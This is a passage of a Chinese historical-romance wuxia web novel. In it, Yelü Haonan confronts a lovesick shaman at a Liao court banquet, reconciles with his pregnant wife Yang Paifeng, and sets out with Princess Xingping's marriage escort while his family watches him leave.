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他的目光,紧紧地、几乎是贪婪地黏在兴平公主那张泪痕纵横、充满绝望与痛苦的脸上。那目光中,有焦急,有心疼,更有一种……耶律皓南从未在这位冷酷大巫脸上见过的、近乎悲悯与……深沉的温柔? 看到这一幕,耶律皓南心中某个疑惑,骤然明朗。他的嘴角,几不可察地勾起一抹极淡的、带着洞悉与讥诮的冷笑。 “原来……” 他轻声开口,声音不大,却奇异地穿过了殿中的嘈杂,清晰地传入周围几人耳中,“大巫苦修多年的‘断情诀’……” “断的,是他人之情。” “养的……却是己身的——痴念。” “……” 孟古大巫扣着兴平公主手腕的枯爪,猛地一颤!霍然抬头,目光如同两道淬毒的冰锥,狠狠射向耶律皓南!眼中杀机一闪而逝! 耶律皓南却浑然不惧,甚至迎着他的目光,继续说道,声音反而提高了几分,足以让上首的萧太后听清:“公主既然认定皓南……负心薄幸,不堪托付……” “何不……” 他的目光转向脸色铁青的萧太后,“恳求太后,改派深谙秘术、又对公主关切有加的孟古大巫,担任此次和亲的——送亲使?” “毕竟……” 他的唇边,那抹冷笑愈发明显,“能以‘童子心’这等逆天秘术为人续命之人,想必……护住公主此行姻缘安稳,应当……不难吧?” “你……!” 孟古大巫的瞳孔,骤然缩成针尖大小!脸上的肌肉因为极度的震惊、愤怒与一丝被戳破心事的慌乱而微微抽搐! 当年,他确实……私藏了半颗“童子心”,以秘法炼成了一种极为阴毒的“情蛊”。本想伺机种入兴平公主体内,让她对自己死心塌地……此事极为隐秘,他自认做得天衣无缝,这耶律皓南……如何得知?又是如何猜到他的心思? 这一瞬的失态与杀意,让他扣着兴平公主臂弯的力道,不由自主地加重了! “嗯……” 兴平公主吃痛,下意识地回头,正对上孟古大巫那双因为情绪激荡而未能及时掩饰的眼眸——那里面翻涌的,是赤裸裸的占有欲、疯狂的痴迷,以及……一种令她感到陌生而恐惧的执念! 那种目光……竟与方才耶律皓南看向那个宋女杨排风时,眼中那种深沉的、专注的、仿佛世间唯她一人的目光……如出一辙! 只是,前者让她恐惧厌恶,后者……让她心如刀绞。 “放……放开我!” 兴平公主猛地挣扎起来,脸上露出惊恐与厌恶的神色。 孟古大巫这才如梦初醒,慌忙松开了手,但眼中的痴迷与痛苦却无法立刻收敛。 一场宫宴,就此不欢而散。萧太后的脸色阴沉得能滴出水来。兴平公主被强行带下。孟古大巫低头垂手立于一旁,漆黑的巫袍如同一片不祥的阴影。 耶律皓南面色平静地行礼告退,转身离开这座充满了算计、虚伪与疯狂的宫殿。 三更梆响,夜深人静。 耶律皓南踏着未化的积雪,重返旧邸。府门前的石狮子披着厚厚的雪衣,在朦胧的月色下显得愈发沉默。 院中,杨排风正在那株老梅树下,用一只小小的铜盆,焚化着什么。火光不大,在寒风中明灭摇曳,映亮了她平静的侧颜。 他走近,看清楚了——铜盆中燃烧的,正是昨日她插在书房的那束枯梅。此刻,枯黑的枝干在火中蜷曲、化为灰烬,发出细微的“哔剥”声。 一股淡淡的、混合着焦枯与一丝奇异冷香的气息,在寒冷的空气中弥散。 他站在她身后,静静地看了片刻。然后,忽然伸出手臂,从背后,轻轻地、却坚定地,环住了她的腰,将下颌,轻轻抵在了她微凉的肩头。 “那株梅……” 他的声音有些低哑,带着一丝不易察觉的疲惫与释然,“是当年……我在此养伤,闲来无事教她抚琴时,她非要……从宫中移栽过来的。说是……梅花清冷,配得上琴音。” “我知道。” 杨排风的声音平静地响起。她没有回头,只是伸出一只手,从怀中取出一物,也没有转身,就那么反手,轻轻塞进了他环在她腰间的掌心。 那是一块已有些年头的、边缘磨损的——拓片。纸质粗糙,上面的字迹却依稀可辨。 耶律皓南就着微弱的火光,看向掌心的拓片。上面的字迹,青涩而执拗,一笔一划都透着少年人特有的认真与笨拙。那是他的字迹。是很多年前,他还是少年时,不知因为什么心事,随手刻在某块石头上,后来又不知被谁拓印下来的…… 上面只有寥寥数字: “莲开并蒂,原是……一厢情愿。” “……” 他的呼吸,微不可察地一滞。目光久久地凝视着那熟悉又陌生的字迹,以及拓片边缘,那些因为年代久远而产生的、细小的裂痕与污渍。 原来……她早就看到了。在白日收拾书房的时候。看到了这张被他不知有意还是无意、压在琴案最底层抽屉暗格中的…——少年心事的见证。 也许……也猜到了这背后,那段属于他和兴平公主之间,模糊而尴尬的过往。 但她什么都没说,什么都没问。只是在这个夜晚,在他从那场充满算计的宫宴归来后,静静地,将这张拓片,塞回了他的手中。 是归还,也是……一种无声的理解与等待。等待他自己做出选择。 耶律皓南沉默了片刻。然后,在杨排风平静的目光注视下,他松开了环着她的手,走到铜盆边,将手中那张已经泛黄的拓片,毫不犹豫地,轻轻掷入了盆中尚未熄灭的火焰之中。** “ 13. 有孕和离别 炭盆中的火焰,舔舐着那张被随意掷入的拓片。火苗最初只是怯生生地绕着纸边,随即仿佛嗅到了某种可以吞噬的过往,骤然窜起,“呼”地一声,将那些青涩执拗的少年字迹、连同“莲开并蒂,原是一厢情愿”这句自嘲又苦涩的结语,一并卷入赤红的怀抱,迅速吞没,化为蜷曲的黑灰,再无痕迹。 火光跃动,映亮了耶律皓南深邃的侧颜,也映亮了杨排风平静等待的眼眸。他忽然伸出手,不是去挽救那即将成灰的过去,而是带着一种不容置疑的力道,轻轻扳过她的肩膀,让她面对自己。然后,他低下头,将自己的额头,轻轻抵在了她的额间。肌肤相触,温度交融,呼吸可闻。 “排风。” 他的声音很低,带着火焰燃烧的余韵和一种掏空一切的坦白,“我这一生……” “负过家国,叛过师门,利用过信任,践踏过仁义……甚至,” 他顿了顿,喉结剧烈地滚动了一下,仿佛咽下某种极苦的东西,“眼睁睁看着垂死的孩童伸手求救……而我,转身离开。” “唯独对你……” 他的声音哽住,抵着她额头的肌肤传来轻微的颤抖,“当年剜心换命,是我欠你的债;后来几度断情绝义,是我们逃不开的劫。” “可若是……” 他抬起眼,目光穿过极近的距离,深深地看进她的眼底,那里面有火光,有他的倒影,更有一种令他心安的沉静力量,“时光倒流,一切重选一次……” “我仍愿意,以这颗早已残破不堪的心,换你一世……平安。” 话音落下,炭盆中最后一点纸灰也黯然飘散。室内一片寂静,只余火炭偶尔的“噼啪”轻响,以及……两人交织在一起的、略显急促的呼吸。 就在此时—— “簌簌……” 墙头,忽有积雪因承受不住重量或是被什么惊动,滑落下来,发出细碎的声响。同一瞬间,檐角阴影下,似有一角漆黑的巫袍一闪而逝,快得如同幻觉。然而,就在那巫袍消失的地方,一小截色泽暗红、形状奇特的虫尸,轻飘飘地坠落下来,无声地躺在雪地上。 那是半截“情蛊”的虫尸。 原来……孟古大巫始终在暗处。守着,或者说,窥视着这座宅邸,守着那个住在皇宫深处、永远不会回头看他一眼的公主。即使公主已经踏上和亲之路,他的痴念与影子,依旧如影随形。** 残梅的最后一缕焦香散尽,窗外,新雪悄然飘落,一层又一层,温柔而残酷地覆盖着旧日的痕迹。世间痴怨,百转千回,到头来,不过是有人甘愿饮下穿肠毒鸩,有人执意对着破碎的镜子,窥探永不属于自己的容颜。 杨排风静静地听完了他所有的话。她没有立刻回应那份沉重的誓言,也没有去追究墙外那一闪而逝的黑影。她只是慢慢地蹲下身,伸出手,用一根细长的铁箸,轻轻拨弄着炭盆中的银骨炭。火星受到搅动,“噼啪”一声溅起几点,有一两点恰好落在她素白的绢衣裙角上,烫出几个微不可察的小小焦痕。 她抬起头,目光落在耶律皓南的脸上。借着炭火与灯光,她清晰地看到了他眉宇间那份无法掩饰的深深倦色,以及眼底残留的、因为坦白过往罪孽而生的痛楚。 心头微微一涩,但更多的是一种想要抚平他皱眉的冲动。于是,她的嘴角忽然勾起一抹明显带着戏谑与狡黠的笑意,眼睛亮晶晶地看着他,故意用一种恍然大悟的、拉长了调子的语气,轻声道: “哦——” “难怪呢……” “难怪当年,有人刚淋了一夜的暴雨,第二天天不亮,就跟被狼撵了似的,连滚带爬、衣衫不整地……连夜落跑了。” “原来是——” 她拖长了音,目光瞟向皇宫的方向,又迅速收回,落在他瞬间僵住的脸上,“这盛京城里,还藏着位……痴心等待、情深义重的——公主殿下呀?” 语气里那股明显的酸意和挪揄,配合着她那双因为笑意而弯成月牙、却闪着洞悉一切光芒的眼睛,让这句话与方才沉重的气氛形成了鲜明对比,也像一根轻巧的羽毛,不轻不重地挠在了耶律皓南最敏感的心事上。 耶律皓南正在解披风系带的手,明显地顿了一下。他抬眼,对上她那双写满“我都知道,我就是故意的”的眼眸,脸上的倦色与痛楚瞬间被一种无奈与啼笑皆非取代。 下一刻,他忽然展臂,不由分说地将她连人带那根铁箸一起,揽入了自己怀中。怀抱温暖而坚实,带着夜的寒意与他身上特有的冷冽气息。 他低下头,用鼻尖轻轻蹭了蹭她发顶柔软的乌发,故意重拾了许久未用的、当年那种玩世不恭的浪荡语调,拖着长音道:“啧……我算是知道了,朔儿那小混球,整日里混不吝、气死人不偿命的性子……到底是随了谁了。” 说着,他的指尖绕上她一缕因为刚才动作而散落的发丝,慢慢把玩着,声音压得更低,带着磁性的哑:“排风啊排风,你如今这嘴皮子功夫,这揣着明白装糊涂、还专往人心窝子里捅软刀子的本事……怕是师叔他老人家见了,都要甘拜下风,自叹弗如啊。” 怀中的身子,因为他这番明贬暗褒、又带着亲昵调侃的话,几不可察地微微一僵。 感觉到她的反应,耶律皓南立刻收起了所有戏谑,神色一正,手掌轻轻抚上她的后背,声线沉入温柔的夜色,变得认真而笃定:“莫要胡说。” “我对兴平公主,从始至终,从未有过男女之情。” 他的目光透过窗棂,仿佛看向很远的过去,“若真有心,当年萧太后多次暗示、甚至明言赐婚时,我便应了。” “哪里还轮得到……” 他收回目光,低头看着她,眼中漾开一片深沉的、只为她一人存在的温柔与戏谑,“某个胆大包天的丫头,后来举着烧火棍,结结实实给了我那么一下?” 提起当年糗事,杨排风脸上一热,忍不住轻捶了他肩膀一下,嘴角却不由自主地扬得更高。那点因为兴平公主而生的、微不可察的小小芥蒂,在他坦荡的目光与亲昵的玩笑中,烟消云散。 就在此时—— “嘿!” 窗外院中,突然传来一声中气十足的喝声,紧接着是“噗通”一声重物落地的闷响,以及一阵浓烈诱人的烤鸡油香! 只见凌霄子拎着七岁的刘朔,如同拎着一只小鸡崽,从墙头利落地翻了进来。小家伙被放在地上,怀里还紧紧抱着一个打开了一角、油光锃亮的油纸包,正啃得满嘴油光,两只眼睛亮晶晶地望着父母,含糊不清地喊:“爹!娘!烧鸡!可香了!” 凌霄子看也不看那对相拥的夫妻,径直走到院中石桌旁,“啪”的一声,将一卷写得密密麻麻的账单拍在了桌面上,指着耶律皓南,嗓门洪亮:“臭小子!过来!给我好好看看!” “你儿子!这小饕餮!半个月!吃了老夫我整整三十只‘品盛京’烧鸡!” 他唾沫星子几乎要喷到账单上,“知道这是什么鸡吗?御赐名菜!传了整整七代的手艺!当年宋太祖赵匡胤陈桥兵变前夜,吃了都说好,第二天就黄袍加身了!这叫什么?这叫吉祥!叫气运!” “一只,三百文!少一个子儿都不行!赶紧的,结账!” 刘朔 一边吮着油乎乎的手指,一边抬起小脸,毫不留情地拆台,声音清脆:“师傅,您昨儿不是还说,这是西市最边上那个摊子,五十文一只买的么……” “啪!” 话音未落,后脑勺就结结实实挨了凌霄子一巴掌! “小混蛋!” 凌霄子瞪眼,“你吃的是鸡吗?你吃的是文化!是历史!是传——承——!懂不懂?” 吼完刘朔,他转头,对着已经走出房门、一脸无奈的耶律皓南挤眉弄眼,目光还不着痕迹地扫过一旁杨排风依旧平坦、但在他这等高人眼中已有些微不同的小腹,故意拖长了语调,啧啧有声: “不过嘛……臭小子,你这手脚倒是真快——六年前跑得那叫一个利索,如今……” 他嘿嘿一笑,“挺好,挺好!” 这话里的意思,在场三个大人都心知肚明。杨排风脸颊微红,别过头去。耶律皓南则是摇头失笑,对师叔这种永远正经不了三句话的性子毫无办法。 闹剧过后,凌霄子脸上的嬉笑渐渐收敛。他示意耶律皓南走到那株枯瘦的老梅树下。枯枝的阴影在清冷的月光下交错,如同刀刃般割裂着两人的身影。 老者袖中,几枚铜钱无声地化为齑粉,从指缝间洒落。他的声音压得极低,只有两人能听见:“三日后,和亲队伍出发。孟古那老小子,已经自请为送亲使,随行护送。” “他对那位公主的情痴,你我都看在眼里。此去西夏路途凶险,他必定会以命相护。” 说到这里,他收起了最后一丝玩世不恭,眼底寒光乍现,如同出鞘的匕首,冰冷刺骨:“你只管放心去西夏,完成你该做的事。排风,还有她肚子里那个小的……” “有老夫我在盛京一天,就绝对出不了差池。” “李元昊那小疯子若是敢把手伸过来,或是派什么魑魅魍魉来发疯——” 他屈指,对着身旁的梅树枝干轻轻一弹! “哗啦——!” 一树积雪应声震落!如同骤然降下一场小型的雪崩,气势惊人! “老夫倒要看看,是他那劳什子‘天魔阵’硬,还是我华山一脉传了千年的‘紫微斗数’……更快!” 字字铿锵,掷地有声。这不是玩笑,是一位长辈、一位绝顶高手,以生命与信誉作出的——最沉重的承诺。 耶律皓南心头巨震,深深地看了师叔一眼,重重颔首。所有的感激与托付,尽在这一眼之中。 就在此时,刘朔扒着门框,探出小脑袋,眼睛亮晶晶地望着父亲,大声道:“爹!你放心去!我和师叔祖在盛京守着娘!等你回来,咱们一起去江南,吃最好吃的蟹黄毕罗!” 小家伙的眼里,闪着一种与年龄不符的清明与坚定,他甚至还补了一句,神情认真得有些可爱:“师傅说了,我这‘武曲星’的命格,天生就能镇宅辟邪!要是有坏人敢来,我就……我就先放火烧他裤脚!” 父子俩对视片刻。耶律皓南在孩子那双澄澈却坚毅的眼眸中,看到了一种雏鹰初啼的勇气与担当。他弯下腰,伸出大手,用力地揉乱了儿子柔软的头发,声音有些发哽,却带着笑意:“好。” “等爹回来……带你吃遍樊楼全席。” 深夜,万籁俱寂。 一名年迈的医官被凌霄子悄然带入府中。老者为杨排风细细诊脉后,躬身对耶律皓南道:“恭喜夫人,贺喜夫人。夫人这是喜脉,脉象平稳有力,已有……两月有余了。” “……” 耶律皓南怔在了榻前。 脑中仿佛有什么东西轰然炸开!定情那夜那场仿佛要淹没世界的暴雨,六年前那个心乱如麻、羞愧难当、最终选择落荒而逃的清晨……所有的画面碎片般涌来,与眼前女子温柔含笑的面容重叠在一起。 掌心忽然一暖。 杨排风伸出手,轻轻握住了他因为震惊与复杂情绪而微微颤抖的手。她的唇角漾开一抹笑意,那笑容在灯下,如同雪地深处悄然绽放的、微弱却顽强的萤光,清冷,却带着直抵人心的暖意。 “这次……” 她的声音很轻,却字字清晰,“你可不能……再跑了。” “轰——” 所有的情绪在这一刻冲垮了堤坝!耶律皓南猛地单膝跪地,将自己的脸,深深地埋进了她膝头柔软的锦衾之中。他的肩背剧烈地起伏着,像一头受伤的困兽,发出压抑的、闷闷的喘息。 许久,许久。 他才抬起头,眼眶微红,声音因为激动而沙哑不已:“此去西夏……山高路远,危机四伏……你这身子……” “我与孩儿,在盛京,有师叔,有朔儿。” 杨排风的声音平稳如磐石,不见丝毫慌乱,她伸出手,指尖轻柔地梳过他因为激动而散落的长发,“你既应了萧太后,护送公主前往西夏,便需全始全终,周全行事。这是你的责任,亦是你的道。” “只是,耶律皓南——” 她忽然伸出双手,捧住他的脸,强迫他看进自己的眼睛。那双眼眸中,此刻燃烧着与当年在一线天崖底,举着烧火棍与他对峙时一般无二的灼灼光芒,清亮,坚定,不容置疑: “你要记得。” “如今……有两条命,在这盛京城里……等你回来。” “……” 窗外,大雪纷飞,压折了枯枝,发出“咔嚓”的轻响。 耶律皓南起身,走到窗边,将窗户轻轻阖上,将那漫天的风雪与寒意,暂时关在了外面。然后,他转身,回到榻边,伸出双臂,将妻子连同她腹中那尚未出世的小生命,一起紧紧地、牢牢地拥入怀中。仿佛要将她们揉进自己的骨血里,带着一同赴那未知的远行。 他想起了当年,为了那虚无缥缈的复国大业,他可以眼都不眨地剜心祭阵,视死如归,心硬如铁。 而此刻……仅仅是想到要离开,想到她们母女可能面临的哪怕一丝一毫的风险,他竟然……怕得指尖发冷,心脏抽紧。 “待此间事了……” 他的唇贴在她微凉的耳畔,灼热的呼吸混合着窗外渗入的雪气,凝成一小团白雾,他的誓言在这白雾中显得有些朦胧,却更加坚定,“我们便离了这是非之地。” “大漠孤烟也好,江南细雨也罢,天涯海角……总有一处……” 话音忽然哽住。他只是更加用力地收拢了手臂,将所有未尽的话语,所有的担忧、不舍与期盼,都化在了这个沉默却滚烫的拥抱之中。 更鼓声从远处隐约传来。 屋脊上,凌霄子拎着已经啃完烧鸡、正在打哈欠的刘朔,无声地巡视着四周。孩子忽然回过头,朝着父母房间的方向,用力地挥了挥手中那根光秃秃的鸡腿骨,压低了声音,却依旧能让人听清地喊道: “爹!你放一百个心去!” “我天天给娘炖鸡汤!保证把妹妹养得白白胖胖、结结实实的!等你回来看!” 稚嫩的话语,散入呼啸的风雪,却带着一种奇异的、穿透寒夜的温暖力量。 耶律皓南低下头,看向怀中不知何时已经安然睡去的妻子。她的侧颜在昏黄的灯光下柔和而平静,嘴角甚至还带着一丝极淡的、安心的笑意。他的手,轻轻地、小心翼翼地抚上她依旧平坦的小腹。那里,有一个全新的、与他血脉相连的小生命,正在悄然生长。 就像绝壁裂隙深处,挣扎着探出头来的一抹稚嫩绿芽,脆弱,却蕴藏着无限的生机与希望。 原来……人间最锋利的刀,不是曾经执着的皇图霸业,不是刻骨铭心的血海深仇。 而是这柴米油盐里悄然生长出的、平凡却割舍不下的——牵挂。是妻子睡梦中的一声呓语,是孩子手中挥动的鸡腿骨,是腹中那小小悸动。 梅枝被风雪吹动,轻轻叩击着窗棂,发出“笃笃”的轻响,仿佛在无声地询问: 当年那个宁可负尽天下、也绝不负自己野心的耶律皓南,可曾想过,有朝一日,会为了一人的安危而惧赴黄泉,为了一家的团圆而畏涉刀山? 没有答案。 唯有炭盆里,一块新添的银骨炭,恰在此时“哔剥”一声,绽开一朵明亮的火花。温暖的、跃动的光晕,如同水纹般漫过榻上那对紧紧相拥的身影,将窗外的乱世风雪、前路艰险,暂时地、温柔地……关在了另一个世界。 盛京西城门·辰时 朱雀大街,仪仗启程 朝阳初升,金色的光芒如同融化的金液,毫不吝啬地泼洒在盛京皇城那连绵起伏的九重宫阙之上。琉璃瓦反射出耀眼夺目、近乎刺眼的辉光,将这座辽国的权力中心装点得如同神国仙境,威严,奢华,却也透着一种冰冷的疏离。 朱雀大街,这条贯通皇城西门、宽达十余丈的御道,此刻早已被闻讯赶来的盛京百姓围得水泄不通。人头攒动,摩肩接踵,各种嘈杂的议论声、好奇的张望、对皇家气派的惊叹,交织成一片嗡嗡作响的背景音。维持秩序的禁军士兵,身着锃亮的铠甲,手持长戟,面无表情地列队立于街道两侧,形成一道冷硬的人墙。他们手中兵刃反射的寒光,不时割裂喧嚣的人声,提醒着人们这场盛事背后的严肃与不可侵犯。 “咚——咚——咚——” 九声沉重、悠远、仿佛能涤荡灵魂的景阳钟声,自皇城深处依次传来,响彻全城。刹那间,街面上的喧哗为之一静。 “嘎吱吱——” 沉重无比的盛京西城门,在机括的牵引下,缓缓地、庄严地向两侧洞开,露出门后那条笔直通向西方,未知命运的官道。 “轰——” 辽国和亲仪仗,如同一条沉睡初醒的赤色巨龙,自城门洞中“涌”了出来! 为首是七十二名身着统一绛红色劲装、背负角弓、手持缠绕着金丝的华丽马鞭的骑士,他们面容肃穆,动作整齐划一,为后续队伍劈开人潮与无形的阻滞。紧随其后的,是此次仪仗的核心——一乘需要十六名健仆才能扛起的巨大鸾轿!轿身以名贵的紫檀木打造,通体雕刻着繁复的鸾凤和鸣图案,轿顶一只鎏金凤凰展翅欲飞,在晨光下熠熠生辉,几乎令人不敢直视。最为奢华的是轿身四周垂下的轿帘,竟是以数千颗大小均匀、圆润光洁的东海珍珠串联而成!此刻晨风拂过,珍珠相互轻轻碰撞,发出一片清脆悦耳、如同碎玉坠地般的“叮咚”脆响,为这肃穆的队伍平添了几分脆弱的华美。 仪仗中段,耶律皓南勒马而立。他今日身着一身代表辽国国师最高规制的绯红色官服,官服上用金线密密绣满了代表地位与权柄的螭龙纹与云雷纹,在初升朝阳的镀染下,全身上下仿佛流转着一层灼目的金色光边,耀眼得令人心生敬畏,也……疏离得令人心寒。他面容平静,目光沉稳地扫视着前方的仪仗与道路,一举一动皆符合国师的威仪与责任。 然而,就在他的目光不经意间扫过街道一侧那些高低错落的酒楼茶肆时,忽然,如同被无形的丝线牵引,猛地定在了其中一座茶楼的二层——那里,一扇支起的竹帘之后,露出一道熟悉的、素净的身影。 杨排风。 她未着华服,依旧是一身简单的素白绢衣,发间只簪着那根乌木发簪,与周遭看热闹的锦衣人群格格不入。她正端坐窗前,手中捧着一盏茶,似乎要送到唇边。 两人的目光穿越喧嚣沸腾的人海,穿越肃杀的兵甲寒光,穿越奢华刺目的仪仗,在清冷的晨空中,无声地、狠狠地撞在了一起! “!” 杨排风捧着茶盏的手指,几不可察地微微一颤。清澈的茶汤在白瓷茶盏中漾开一圈细碎的涟漪,映出她刹那间有些失控的眼波。但她的动作只停滞了那么一瞬,随即,她仰起头,将盏中已微凉的茶汤,从容地、一饮而尽。动作平稳,喉咙吞咽,仿佛只是在完成一件寻常小事。只有那只放下茶盏后、悄然收入袖中、紧紧攥住的手,泄露了她内心的惊涛骇浪。 “国师大人,辰时已到,该……启程了。” 身旁,礼部派来的礼官躬身,低声提醒,语气恭谨而不容置疑。 耶律皓南的目光,依旧定在那扇竹帘之后。他看到了,在她抬手饮茶的刹那,那素白的绢衣袖口,微微向下滑落了一点,露出一角……刺目的猩红! 那是——今日清晨,他在她尚未醒来时,悄然放在她枕边的那枚……平安符! 符是用最普通的红布缝制,里面藏着一缕他的头发与她的头发,紧紧缠绕在一起。符的正面,是他以指尖蘸着朱砂,一笔一划、力透纸背写下的八个字: “结发为盟,死生同契”。 朱砂鲜红如血,字迹犹带着清晨的微润。 她……戴上了。在这个时刻,以这种方式。 霎时间,耶律皓南耳畔所有的声音——人群的喧嚣、马匹的响鼻、兵甲的铿锵、礼乐的庄严——全都如潮水般退去,归于一片绝对的、令人心慌的寂静。唯余那枚藏在她袖中的平安符,随着她的动作、她的呼吸,发出极其细微的、仿佛春蚕啃食桑叶般的“沙沙”摩擦声。那声音无限放大,清晰地钻入他的耳膜,撞击着他的心脏。 他攥着缰绳的手,不由自主地、死死收紧!指节因为过度用力而泛出骇人的青白色,如同冰雪雕琢而成,仿佛下一刻就要将那坚韧的皮绳攥碎! 就在此时—— “哇——!” 一个不知从哪里钻出来的顽童,大概是被这宏大的场面吓住,或是想看得更清楚些,突然哭喊着从人群缝隙中冲了出来,径直撞向了仪仗最前方那匹神骏异常的引路白马! “唏律律——!” 白马猝不及防,受惊人立而起,发出一声高亢惊慌的长嘶!牵马的骑士措手不及,手中缰绳竟被硬生生扯断!失去控制的高头大马,带着狂乱的力量,竟然调转方向,扬起碗口大的蹄子,直接朝着后方那乘巨大的鸾轿冲撞过去! “小心!” “护驾!” 周围顿时响起一片惊呼与怒喝! 电光石火之间! 一直紧绷如弓弦的耶律皓南,眸中寒光一闪!他几乎是本能地翻腕一甩——三枚尋常的銅錢,化作三道淡金色的虚影,以肉眼难辨的速度激射而出!不是射向惊马的要害,而是精准无比地掠过了马匹臀部与尾巴相连的部位! “嗤!嗤!嗤!” 三声极其轻微的裂帛之声!铜钱锋利的边缘,竟然将白马那一大把油光水滑的长长尾鬃,齐根削断! 断发之痛,虽不致命,却尖锐异常!白马再次发出一声痛苦的嘶鸣,前冲之势骤然一顿,前腿一软,“噗通”一声跪倒在地,激起一片尘土。 然而,就在马匹受惊、轿夫慌乱、队列微骚的这一瞬 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清脆的、富有韵律的水声,在这片短暂的喧嚣背景下,奇异地显得如此清晰,甚至……压过了街面上的骚动。那声音,平稳,从容,不疾不徐,仿佛在完成一项日常的仪式。 她始终没有再看窗外街道上那个绯红的身影一眼。 直到骚乱平息,受惊的白马被制服拖走,队伍重新整肃,礼官再次高声唱喏“起驾”,鸾轿的珍珠帘幕被慌忙放下、重新遮掩得严严实实…… 耶律皓南勒转马头,准备归队。就在他策马经过茶楼下方的刹那—— 一抹极淡的粉白,自二楼窗棂飘然落下。 是一枚杏花。 花瓣娇嫩,尚带着晨露的湿润,在晨风中打着旋儿,轻盈地、准确地……掠过了耶律皓南那身绯红官服肩头,那用金线密密绣成的、狰狞威严的螭龙纹饰。 柔嫩的花瓣与冰冷坚硬的官服纹饰短暂接触,形成一种极致的反差。如同一只脆弱的粉蝶,误入铁甲森林,短暂地栖息。 耶律皓南的动作微不可察地一顿。他没有抬头,只是在马背上,极其自然地、仿佛只是整理袖口般,俯下身,伸出手,在马蹄旁尚未被践踏的青石板缝隙间,极快地拾起了那枚杏花,藏入了自己宽大的官服袖中。 花瓣触手微凉,却又带着一种奇异的、来自她指尖的……温软。似乎还残留着一缕极淡的、属于她的茶香。 他想起临行前夜,她在灯下,借着昏黄的光线,一针一线,仔细地缝制着婴孩的小小襁褓。手指不如以往灵活,时不时会被针尖刺到,她只是轻轻吮一下,继续缝。然后,她忽然抬起头,看着他,眼睛在灯下亮晶晶的,轻声说:“塞外……风沙烈。” “若……有一日,你在那边,看见有杏花的花瓣,被风卷着,落进了你的车辕里……” “那便是……盛京的春天,追着你去了。” 此刻,春色确如她所言,追来了。 只是,这春色于他而言,不是温柔的慰藉。 而是一把无形的、锋利无比的——刀。狠狠地剖开了他这身代表着权势与责任的华丽官服,露出下面那早已因为家国恩仇、爱恨离别而变得嶙峋不堪、遍体鳞伤的——傲骨与柔肠。 ______ 盛京西城楼·角楼阴影下 与朱雀大街上震耳欲聋的喧嚣相比,西城门楼一侧的角楼投下的阴影里,是另一个世界。这里僻静,少有人至,高高在上的位置能将下方的一切尽收眼底,却又因为角度和阴影的遮掩,不易被发现。 人群的喧嚣、礼乐的庄严,传到这里,仿佛隔着一层厚厚的水幕,变得模糊而遥远。 凌霄子斜倚在斑驳陈旧、爬满枯藤的城墙砖上,一手随意地按在身旁一个不停扭动的小身影肩头。七岁的刘朔今日被打扮得焕然一新,穿了身簇新的宝蓝色小箭袖,头发也难得用锦带束得整整齐齐,露出光洁的额头和一双与他父亲极为相似的、亮晶晶的眼睛。他此刻正踮着脚尖,整个人几乎要趴到女墙的垛口上,努力地想从那狭窄的缝隙间,看清下方那支威风凛凛、缓缓移动的庞大仪仗。 “别动!小猢狲!” 凌霄子屈起手指,不轻不重地弹在刘朔光洁的脑门上,发出“咚”的一声轻响,“再这般乱蹭乱扭,你这身行头可就白费了,活脱脱像只在泥地里打过滚的野猫崽!” 刘朔吃痛,缩了缩脖子,下意识地想揉额头,但目光却依旧黏在下方,舍不得移开半分。突然,他低声惊呼,声音里满是掩饰不住的兴奋与崇拜:“师傅你看!我爹!他今天……今天好威风!像……像画儿里走出来的天神将军!” 小家伙的眼睛亮得惊人,映着城下的晨光与兵甲的寒芒,“我长大了,定要打一副更亮、更厚的铠甲!骑更高、更壮的大马!比爹还要威风!” 凌霄子顺着他的目光瞥去,只见耶律皓南端坐马上,那身绯红官服在初升的朝阳下灼灼耀目,衬得他身姿挺拔如松,侧影孤峭冷硬,与平日布衣散发、眉眼间常带着几分沉郁的模样确实判若两人。他嗤笑一声,带着几分惯有的戏谑,却又刻意压低了嗓门,确保只有身边这一小圈人能听见:“臭美什么!你爹像你这么大时,为半块馊了的干馍,能跟巷子口的野狗抢得头破血流!脊梁骨上现在还留着狗牙印呢!你这小子,净想着些花架子,不学好!” 这话与其说是打击刘朔,不如说是想搅动一旁那凝滞得仿佛要结冰的气氛。 杨排风静立在一旁,素手紧紧握着冰凉粗糙的城墙垛口,指节因为用力而泛出明显的白色。她的目光,越过喧嚣的人海,胶着在仪仗中那个熟悉又陌生的身影上。看着他挺直的背脊,看着他沉稳的侧脸,看着他在阳光下闪着冷光的官服……仿佛要将这一切,连同他此刻的模样,一起深深地刻入心底,烙进魂魄。 小腹处,传来一阵极其细微的、几乎难以察觉的悸动。那是新生命的讯号,是希望,也是……更深的牵挂。这悸动让她鼻尖一酸,眼前的景象瞬间变得有些模糊,被一层迅速聚集的水光所遮盖。** 凌霄子敏锐地捕捉到了她肩头那一瞬的微颤,以及眼圈迅速泛起的红。他不再理会还在不服气地嘟囔“反正我长大肯定比爹帅、比爹厉害”的刘朔,松开按着孩子的手,在自己那件看着就没几个口袋的破旧道袍里掏了掏。摸出的不是酒囊,而是一个用厚实棉套仔细裹着的、依旧散发着微微暖意的——精巧小手炉。 他不由分说,粗鲁却又带着一种不容置疑的关切,将手炉塞进了杨排风那只握着城墙、已经冰凉的手中。 “拿着,丫头!” 他粗声粗气地说,“里头煨着安神的参汤,趁热喝两口驱驱寒氣!” “那小子命硬得像块千年玄铁,什么大风大浪没见过?你这哭丧着脸,不是存心让他走得不踏实、不安生吗?” 他的语气故意放得很重,“再说了,想想你肚里那个更小的!你这当娘的,更得给我稳着点!” 手炉的暖意,透过厚实的棉套,丝丝缕缕、坚定不移地渗入她冰凉的掌心,沿着血脉慢慢扩散,驱散了指尖的寒冷,也似乎……稳住了几分心头翻江倒海般的情绪。杨排风低下头,看着手中这个略显笨拙却异常温暖的手炉。炉套是粗布缝制,上面甚至用歪歪扭扭、毫无章法的针脚,绣了个同样歪歪扭扭的——平安结。一看便知是师叔那双拿惯了酒葫芦、耍惯了铜钱的手,在灯下费了好大劲才捣鼓出来的。 这份笨拙的心意,比任何精美的礼物都更让人心头发酸发胀。她终于微微侧过头,看向一旁故作不耐烦状的凌霄子,嘴角极力想扯出一个表示自己无事、让他放心的笑容,却终究只是唇瓣轻轻牵动了一下。她吸了吸鼻子,将喉间的哽咽压下,轻声道:“多谢……师叔。” 就在此时,城楼下方,传来礼官更加高亢、拖着长长尾音的唱喏声:“起——驾——!” 庞大的仪仗队伍,经过方才的小小插曲,重新整肃,开始缓缓向着洞开的城门外移动。** 刘朔 